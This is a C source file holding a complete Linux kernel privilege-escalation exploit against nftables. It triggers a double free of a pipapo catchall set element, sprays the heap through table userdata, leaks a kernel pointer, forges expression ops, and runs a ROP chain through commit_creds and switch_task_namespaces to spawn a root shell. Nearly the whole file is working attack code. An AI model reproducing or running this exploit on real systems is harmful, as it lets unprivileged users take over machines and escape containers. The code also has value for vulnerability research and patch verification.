#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <linux/netlink.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <netlink/msg.h>
#include <netlink/attr.h>
#include <netlink/netlink.h>
#include <netlink/netfilter/nfnl.h>

#include "obj.h"
#include "setelem.h"
#include "table.h"
#include "set.h"

char *table_udata = NULL;//Save data for nft_table->udata after calling get_table
int table_num = 0;//using for number counting for nft_table struct because we will spray heap by using nft_table->udata
uint64_t kernel_off = 0;
unsigned long user_cs,user_ss,user_rsp,user_rflags;

void shell(){
    printf("ret2usr success! uid : %d\n",getuid());
    char *args[] = {"/bin/sh", "-i", NULL};
    execve(args[0], args, NULL);
}

static void save_state() {
        asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n"
        : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory");
}

void pin_on_cpu(int cpu) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(cpu, &cpu_set);
  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
  }
  usleep(1000);
}

int setup_sandbox(void) {
  if (unshare(CLONE_NEWUSER) < 0) {
    perror("[-] unshare(CLONE_NEWUSER)");
    return -1;
  }
  if (unshare(CLONE_NEWNET) < 0) {
    perror("[-] unshare(CLONE_NEWNET)");
    return -1;
  }
  pin_on_cpu(0);
  return 0;
}



void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){
    struct nl_msg * msg = nlmsg_alloc();
    struct nlmsghdr *hdr1 = nlmsg_put(
            msg,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_BEGIN,   // TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg));
    h->nfgen_family = 2;
    h->version = 0;
    h->res_id = NFNL_SUBSYS_NFTABLES;
    memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg));
    struct nl_msg * msg3 = nlmsg_alloc();
    struct nlmsghdr *hdr3 = nlmsg_put(
            msg3,
            NL_AUTO_PORT, // auto assign current pid
            NL_AUTO_SEQ, // begin wit seq number 0
            NFNL_MSG_BATCH_END,// TYPE
            sizeof(struct nfgenmsg),
            NLM_F_REQUEST //NLM_F_ECHO
    );
    uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len);
    int i;
    for(i=0;i<num;i++){
    	total_size = total_size + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    char *buf = malloc(total_size);
    memset(buf, 0, total_size);
    memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len));
    char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len);
    for(i=0;i<num;i++){
    	memcpy(off, msg_list[i], NLMSG_ALIGN(msg_list[i]->nlmsg_len));
	off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len);
    }
    memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len));
    int res = nl_sendto(socket, buf, total_size);
    if (res < 0) {
        printf("sending message failed\n");
    }
}

int nl_callback_get_table(struct nl_msg* recv_msg, void* arg)
{

    struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg);
    struct nlattr * tb_msg[NFTA_TABLE_MAX+1];
    memset(tb_msg, 0, NFTA_TABLE_MAX * 8);
    //printf("Get message back!\n");

    if (ret_hdr->nlmsg_type == NLMSG_ERROR) {
        //printf("Received NLMSG_ERROR message!\n");
        return NL_STOP;
    }

    struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg));
    int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg));
    nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL);
    char * table_name=NULL;
    char * set_name=NULL;
    if (tb_msg[NFTA_TABLE_NAME]){
        printf("Getting %s\n", nla_get_string(tb_msg[NFTA_TABLE_NAME]));
    }
    if (tb_msg[NFTA_TABLE_USERDATA]){
	free(table_udata);
	table_udata = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA]));
	nla_memcpy(table_udata, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA]));
    }
    return NL_OK;
}

/*
 Spray the heap through the udata of nft_table. In nftables, when creating a table, 
 you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA 
 (the corresponding code is in the function nf_tables_newtable). 
*/

void spray_tables(struct nl_sock * socket, int len, char *udata, int size){
   char *tmp = malloc(0x100);
   memset(tmp,0,0x100);
   int i;
   for(i=0;i<len;i++){
        snprintf(tmp, 0x100, "table_for_leak_%ld", table_num);
        new_table_with_udata(socket, tmp, udata, size);
        ++table_num;
   }
   free(tmp);
}

void exploit(struct nl_sock *socket){
    int i;
    char *table = "table for exp";
    char *pipapo_set = "set pipapo for exp";
    char *bitmap_set = "set bitmap for exp";
    char *target_obj = "obj for exp";


    new_table(socket, table);
    new_set_pipapo(socket,table, pipapo_set, NFT_OBJECT_CT_EXPECT);
    //bitmap's setelement will have a doubly linked list pointer, we use the linked list pointer in step 7 to obtain a certain struct nft_set_elem -> priv pointer.
    new_set_bitmap(socket, table, bitmap_set);
    
    char *pad = malloc(0x100);
    memset(pad,0x41,0x100);
    uint64_t hash_key;
    //Step 1 : Create a pipapo set `A`, and a catchall set element `B` in it.
    char *table_obj_for_double_free_bypass = "test table";
    //Make the target object (`struct nft_set_elem -> priv`, which will be released twice) and `table_obj_for_double_free_bypass` to be on the same page. Because during testing, only when they are on the same page (that is, the same slab), can the crash be effectively avoided.
    //Use struct nft_table->udata for spray
    spray_tables(socket,0x100, pad, 0xd0);
    new_obj_ct_expect(socket, table, target_obj, NULL, 0);
    new_setelem(socket, table, pipapo_set, pad, 0xc0, target_obj, NULL, 0, NULL, 0, 1);
    new_table_with_udata(socket, table_obj_for_double_free_bypass, pad, 0xd0);
    spray_tables(socket,0x100, pad, 0xd0);
    
    //Step 2 : Trigger the vulnerability
    //After this we kfree the catchall set element `B` twice. This makes it possiable that we alloc the heap back twice.
    struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*5);
    memset(msg_list, 0, sizeof(struct nlmsghdr *)*5);
    msg_list[0] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);
    msg_list[1] = del_table_msg(table_obj_for_double_free_bypass);//kfree the table -> udata, so we can kfree another heap object in the same kmalloc-256 cache as our catchall set element to avoid the naive double free detection in the SLUB allocator: https://lore.kernel.org/lkml/1edb137c-356f-81d6-4592-f5dfc68e8ea9@linux.com/t/
    msg_list[2] = del_setelem_msg(table, pipapo_set, NULL, 0, NULL, 0, 1);
    send_msg_list(socket, msg_list, 3);
    //Now we try to get the heap back and check if we success
    //Step 3: Try to alloc the heap of the catchall set element `B` back by creating `nft_table` with `NFTA_TABLE_USERDATA`.
    struct nl_sock * socket2 = nl_socket_alloc();
    if(nfnl_connect(socket2)<0){
        printf("nfnl_connect fail!\n");
        return 0;
    }
    nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_table, NULL);
    int try_num = 0;
    char *table_name = malloc(0x100);
    int a=0,b=0;
    while(1){
	printf("trying %d\n",try_num);
	snprintf(table_name, 0x100, "table for test %d", try_num);
	*(int *)pad = try_num;
	new_table_with_udata(socket, table_name, pad, 0xd0);
	int i;
	for(i=0;i<try_num;i++){
		snprintf(table_name, 0x100, "table for test %d", i);
		get_table(socket2, table_name);
		nl_recvmsgs_default(socket2);
        	nl_recvmsgs_default(socket2);
		printf("Get udata : %d\n", *(int *)table_udata);
		if(*(int *)table_udata != i){
		//It means we get two same object from the free list of kernel heap.
			a = *(int *)table_udata;
			b = i;
			break;
		}
	}
	if(b!=0)
		break;
	try_num++;
	//sleep(0.2);
    	
    }
    printf("We get it! A: %d B: %d \n", a, b);

    //Now, we free many object to avoid crash
    //Because when we find two objects that are double freed, it also means that the next time the kernel heap of the same size is allocated, an illegal fd pointer is used, which will eventually lead to a crash.
    char *tmp = malloc(0x100);
    memset(tmp,0,0x100);
    
    for(i=0x80;i<0x180;i++){
	snprintf(tmp, 0x100, "table_for_leak_%ld", i);
        del_table(socket, tmp);
    }
    //Wait the `table_for_leak_xx` to be freed in the `trans_destroy_work` to avoid crash
    sleep(2);
    //Step 4: Delete `table for test $a` (which is `nft_table C` in exploit.md).
    snprintf(tmp, 0x100, "table for test %d", a);
    //free one of it.
    del_table(socket, tmp);
    //Wait the `table for test $a` to be freed in the `trans_destroy_work`.
    sleep(2);
    uint16_t bitmap_key = 0;
    i=0;
    //Step 5: Spray heap to get the heap of `nft_table C->udata` back.
    while(1){	
	bitmap_key = i;
	new_setelem_with_expr(socket, table, bitmap_set, pad, 0xb0, NULL, &bitmap_key, 2, NULL, 0);
	snprintf(tmp, 0x100, "table for test %d", b);
    	get_table(socket2, tmp);
    	nl_recvmsgs_default(socket2);
    	nl_recvmsgs_default(socket2);
    	printf("Get ops : %llx\n",*(uint64_t *)(table_udata+0x28));
	if(((*(uint64_t *)(table_udata+0x28)) & 0xfff ) == 0x760){
    	    break;	
	}
	i++;
    }
    //Step 6: Dump `nft_table D`. Now we leak `nft_last_ops`.
    //Save it. We will use it later.
    char *setelem_data = malloc(0x100);
    memcpy(setelem_data, table_udata, 0xd0);
    kernel_off = *(uint64_t *)(table_udata+0x28) - 0xFFFFFFFF828C9760;
    //Step 7 Create another set element `E`. Then dump the `nft_table D` again. We can get the pointer of the set element `E` because each bitmap set element has a doubly linked list.
    //now we get ops, we try to add a small setelem and leak it. We will use this setelem as expr->ops target.
    bitmap_key++;
    //Create set element `E` for expr->ops. The size of set element `E` is not important. We will fill it again after we get the address of element `E`.
    new_setelem(socket, table, bitmap_set, pad, 0x60, NULL, &bitmap_key, 2, NULL, 0, 0);
    
    snprintf(tmp, 0x100, "table for test %d", b);
    get_table(socket2, tmp);
    nl_recvmsgs_default(socket2);
    nl_recvmsgs_default(socket2);
    printf("Get next setelem : %llx\n",*(uint64_t *)table_udata);
    //Step 8 : Delete set element E. Fill the heap memory of set element E through heap spraying.
    uint64_t ops_addr = *(uint64_t *)table_udata;
    //Free the set element `E`, and fill it with our target expr->ops->dump and expr->ops->type
    del_setelem(socket, table, bitmap_set, &bitmap_key, 2, NULL, 0);
    //struct nft_expr_ops->dump
    *(uint64_t *)&pad[0x40] = kernel_off + 0xffffffff8116f78b;//leave ; ret
    //struct nft_expr_ops->type
    *(uint64_t *)&pad[0x70] = kernel_off + 0xFFFFFFFF835199E0;//nft_last_type
    //here we use nft_table->udata to fill the setelem.
    /*
    Spray the heap through the udata of nft_table. In nftables, when creating a table, 
    you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA 
    (the corresponding code is in the function nf_tables_newtable). 
    */
    //Because the size of set element `E` is between 0x80-0xc0.
    spray_tables(socket,0x400, pad, 0x80);
    //Now we try to control rip by faking another expr in set elem.
    //Here we are forging `struct nft_set_elem->priv`, and the forged data is filled in by `struct nft_table->udata`.
    //build fake setelem
    *(uint64_t *)&setelem_data[0x28] = ops_addr; //expr[0]->ops
    //start ROP
    *(uint64_t *)&setelem_data[0x30] = kernel_off + 0xffffffff81080450;//pop rdi; ret
    *(uint64_t *)&setelem_data[0x38] = kernel_off + 0xFFFFFFFF83262140;//init_cred
    *(uint64_t *)&setelem_data[0x40] = kernel_off + 0xFFFFFFFF8110CF50;//commit_creds;
    *(uint64_t *)&setelem_data[0x48] = kernel_off + 0xffffffff81080450;//pop rdi ; ret
    *(uint64_t *)&setelem_data[0x50] = 1;
    *(uint64_t *)&setelem_data[0x58] = kernel_off + 0xFFFFFFFF81103DC0;//find_task_by_vpid
    *(uint64_t *)&setelem_data[0x60] = kernel_off + 0xffffffff8102c691;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret
    *(uint64_t *)&setelem_data[0x68] = 0;
    *(uint64_t *)&setelem_data[0x70] = kernel_off + 0xFFFFFFFF8124C52C;//pop rsi ; ret
    *(uint64_t *)&setelem_data[0x78] = kernel_off + 0xFFFFFFFF83261F00;//init_nsproxy
    *(uint64_t *)&setelem_data[0x80] = kernel_off + 0xFFFFFFFF8110B570;//switch_task_namespaces
    *(uint64_t *)&setelem_data[0x88] = kernel_off + 0xFFFFFFFF81FE3C87;//swapgs; ret
    *(uint64_t *)&setelem_data[0x90] = kernel_off + 0xFFFFFFFF820011A7;//iretq
    *(uint64_t *)&setelem_data[0x98] = (uint64_t)shell;
    *(uint64_t *)&setelem_data[0xa0] = user_cs;
    *(uint64_t *)&setelem_data[0xa8] = user_rflags;
    *(uint64_t *)&setelem_data[0xb0] = user_rsp|8;
    *(uint64_t *)&setelem_data[0xb8] = user_ss;
    
    //Stpe 9 : del table b (which is named as `nft_table D` in exploit.md in step 9) first
    del_table(socket, tmp);
    
    bitmap_key = i;
    int t=0;
    while(1){
        //Step 10 : Fill the heap memory of nft_table D ->udata with fake nft_expr and ROP gadget.
    	spray_tables(socket, 1, setelem_data, 0xd0);
        //Step 11 : Dump the set elements we create in step 5. Finally we will jmp to our ROP gadget.
        get_setelem(socket, table, bitmap_set, &bitmap_key, 2);
    	printf("%d\n",t);
	t++;
    //Sleep for 0.5 seconds every time to try to apply for memory to wait for the release of `table for test $b` in the `trans_destroy_work`. 
    //Otherwise we will crash the kernel.
	sleep(0.5);
    }
    printf("End\n");
    while(1);
}

int main(void) {
    if (setup_sandbox() < 0){
        printf("Create sandbox fail!\n");
        return 0;
    }
    save_state();
    struct nl_sock * socket = nl_socket_alloc();

    if(nfnl_connect(socket)<0){
    	printf("nfnl_connect fail!\n");
	return 0;
    }
    exploit(socket);
    return 0;
}
